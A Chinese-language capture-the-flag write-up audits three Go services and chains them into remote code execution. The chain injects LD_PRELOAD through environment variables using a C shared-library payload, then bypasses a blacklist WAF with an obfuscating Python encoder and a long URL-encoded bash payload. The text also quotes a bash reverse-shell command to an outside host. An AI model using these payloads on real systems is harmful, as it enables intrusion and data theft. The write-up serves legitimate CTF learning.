题目是给了源码,我们先来看web的main.go
package main
import (
"bytes"
"crypto/md5"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"math/rand"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
)
var SecretKey = ""
type TokenResult struct {
Success string `json:"success"`
Failed string `json:"failed"`
}
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {
b := make([]byte, n)
for i := range b {
b[i] = letterBytes[rand.Intn(len(letterBytes))]
}
return string(b)
}
func getToken(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
r.Header.Set("Fromhost", fromHost)
command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")
for k, _ := range values {
command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))
}
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
//res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
res := TokenResult{}
if err = command.Wait(); err != nil {
res.Failed = outerr.String()
}
res.Success = outinfo.String()
msg, _ := json.Marshal(res)
w.Write(msg)
}
type ListFileResult struct {
Files []string `json:"files"`
}
// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
token := values.Get("token")
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
// 验证token
if token != "" && checkToken(token, fromHost) {
dir := filepath.Join("uploads",token)
files, err := ioutil.ReadDir(dir)
if err == nil {
var fs []string
for _, f := range files {
fs = append(fs, f.Name())
}
msg, _ := json.Marshal(ListFileResult{Files: fs})
w.Write(msg)
}
}
}
type UploadFileResult struct {
Code string `json:"code"`
}
func uploadFile(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
fmt.Fprintf(w, "get")
} else {
values := r.URL.Query()
token := values.Get("token")
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
//验证token
if token != "" && checkToken(token, fromHost) {
dir := filepath.Join("uploads",token)
if _, err := os.Stat(dir); err != nil {
os.MkdirAll(dir, 0766)
}
files, err := ioutil.ReadDir(dir)
if len(files) > 5 {
command := exec.Command("curl", "127.0.0.1:9091/manage")
command.Start()
}
r.ParseMultipartForm(32 << 20)
file, _, err := r.FormFile("file")
if err != nil {
msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})
w.Write(msg)
return
}
defer file.Close()
fileName := RandStringBytes(5)
f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
msg, _ := json.Marshal(UploadFileResult{Code: fileName})
w.Write(msg)
} else {
msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})
w.Write(msg)
}
}
}
func checkToken(token, ip string) bool {
data := []byte(SecretKey + ip)
has := md5.Sum(data)
md5str := fmt.Sprintf("%x", has)
return md5str == token
}
func IndexHandler (w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r,"dist/index.html")
}
func main() {
file, err := os.Open("secret/key")
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey = string(content)
http.HandleFunc("/", IndexHandler)
fs := http.FileServer(http.Dir("dist/static"))
http.Handle("/static/", http.StripPrefix("/static/", fs))
http.HandleFunc("/token", getToken)
http.HandleFunc("/upload", uploadFile)
http.HandleFunc("/list", listFile)
log.Print("start listen 9090")
err = http.ListenAndServe(":9090", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
我们按照main主函数分析
/token
路由下调用getToken函数,获取url中的查询参数赋值给value,继续检查ip是否为127.0.0.1:80
这样合法的,赋值给fromhost,接着执行curl命令去向127.0.0.1:9091
发送请求,最后会将url中的查询参数的键名和键值赋值给环境变量/upload
路由下调用uploadFile函数,会验证token值,然后拼接上传路径为/uploads/token值/文件名
,文件名是由RandStringBytes函数生成五位随机字符/list
路由下调用listFile函数,根据传参的token值进行验证并列出上传文件
看proxy的main.go,开放在 8080 端口
package main
import (
"github.com/elazarl/goproxy"
"io/ioutil"
"log"
"net/http"
"os"
)
func main() {
file, err := os.Open("secret/key")
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey := string(content)
proxy := goproxy.NewProxyHttpServer()
proxy.Verbose = true
proxy.OnRequest().DoFunc(
func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {
r.Header.Set("Secretkey",SecretKey)
return r,nil
})
log.Print("start listen 8080")
log.Fatal(http.ListenAndServe(":8080", proxy))
}
继续分析server的main.go
package main
import (
"bytes"
"crypto/md5"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"unicode"
)
// 检查来源ip为本地才继续执行
var SecretKey = ""
func getToken(w http.ResponseWriter, r *http.Request) {
header := r.Header
token := "error"
var sks []string = header["Secretkey"]
sk := ""
if len(sks) == 1 {
sk = sks[0]
}
var fromHosts []string = header["Fromhost"]
fromHost := ""
if len(fromHosts) == 1 {
fromHost = fromHosts[0]
}
if fromHost != "" && sk != "" && sk == SecretKey {
data := []byte(sk + fromHost)
has := md5.Sum(data)
token = fmt.Sprintf("%x", has)
}
fmt.Fprintf(w, token)
}
func manage(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
m := values.Get("m")
if !waf(m) {
fmt.Fprintf(w, "waf!")
return
}
cmd := fmt.Sprintf("rm -rf uploads/%s", m)
fmt.Println(cmd)
command := exec.Command("bash", "-c", cmd)
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
if err = command.Wait(); err != nil {
res = outerr.String()
} else {
res = outinfo.String()
}
fmt.Fprintf(w, res)
}
func waf(c string) bool {
var t int32
t = 0
blacklist := []string{".", "*", "?"}
for _, s := range c {
for _, b := range blacklist {
if b == string(s) {
return false
}
}
if unicode.IsLetter(s) {
if t == s {
continue
}
if t == 0 {
t = s
} else {
return false
}
}
}
return true
}
func main() {
file, err := os.Open("secret/key")
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey = string(content)
http.HandleFunc("/", getToken) //设置访问的路由
http.HandleFunc("/manage", manage) //设置访问的路由
log.Print("start listen 9091")
err = http.ListenAndServe(":9091", nil) //设置监听的端口
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
/
路由下调用getToken函数,检查来源ip为本地才继续执行/manage
路由下调用manage函数,接收参数m并对其黑名单检测,不能出现.*?
,同时字母,则只能出现一个,不过该字母可重复。将m值与rm -rf uploads/
拼接赋值给cmd也就是要执行的命令,然后bash执行
代码审计完后整理下,web的main.go的getToken函数环境变量可控的,那么我们可以LD_PRELOAD绕过,RCE的关键地方就是/manage
路由的执行bash命令,参数为cmd,不过cmd的值是由参数m拼接后的,所以我们可以自己创建cmd值从环境变量中获取,这样执行的就是我们的恶意命令
exp如下
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}
gcc进行编译
gcc -shared -fPIC 1.c -o 1.so
上传文件,然后F12在网络处发现token值,得到的方法是?http_proxy=127.0.0.1:8080
不过这里的文件路径有点小坑,我们查看下dockerfile
会发现目录其实是/code
所以我们上传后,payload如下
/token?LD_PRELOAD=/code/uploads/787f4b212c06816f264e6afc80e43a02/XVlBz&CMD=ls /
但是我们读取flag的时候发现不行,原因就在于权限不够
(dockerfile中也可以发现权限是400)
我们正常的命令执行是通过参数m来控制,并且监听的是9091端口
那么我们可以绕过对m的waf,然后反弹shell到的靶机上用curl命令去弹
127.0.0.1:9091/manage
命令执行即可
将bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'
url编码一下,反弹shell
绕过waf的脚本如下
import sys
from urllib.parse import quote
# a = "bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out"
a = 'cat /flag'
if len(sys.argv) == 2:
a = sys.argv[1]
out = r"${!#}<<<{"
for c in "bash -c ":
if c == ' ':
out += ','
continue
out += r"\$\'\\"
out += r"$(($((${##}<<${##}))#"
for binchar in bin(int(oct(ord(c))[2:]))[2:]:
if binchar == '1':
out += r"${##}"
else:
out += r"$#"
out += r"))"
out += r"\'"
out += r"\$\'"
for c in a:
out += r"\\"
out += r"$(($((${##}<<${##}))#"
for binchar in bin(int(oct(ord(c))[2:]))[2:]:
if binchar == '1':
out += r"${##}"
else:
out += r"$#"
out += r"))"
out += r"\'"
out += "}"
print('out =', out)
print('quote(out) =', quote(out))
m是会与前面rm命令拼接,所以用分号;
隔开,构造;cat /flag
然后分号编码一下为%3b
,payload如下
curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3C%3C%3C%7B%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D
得到flag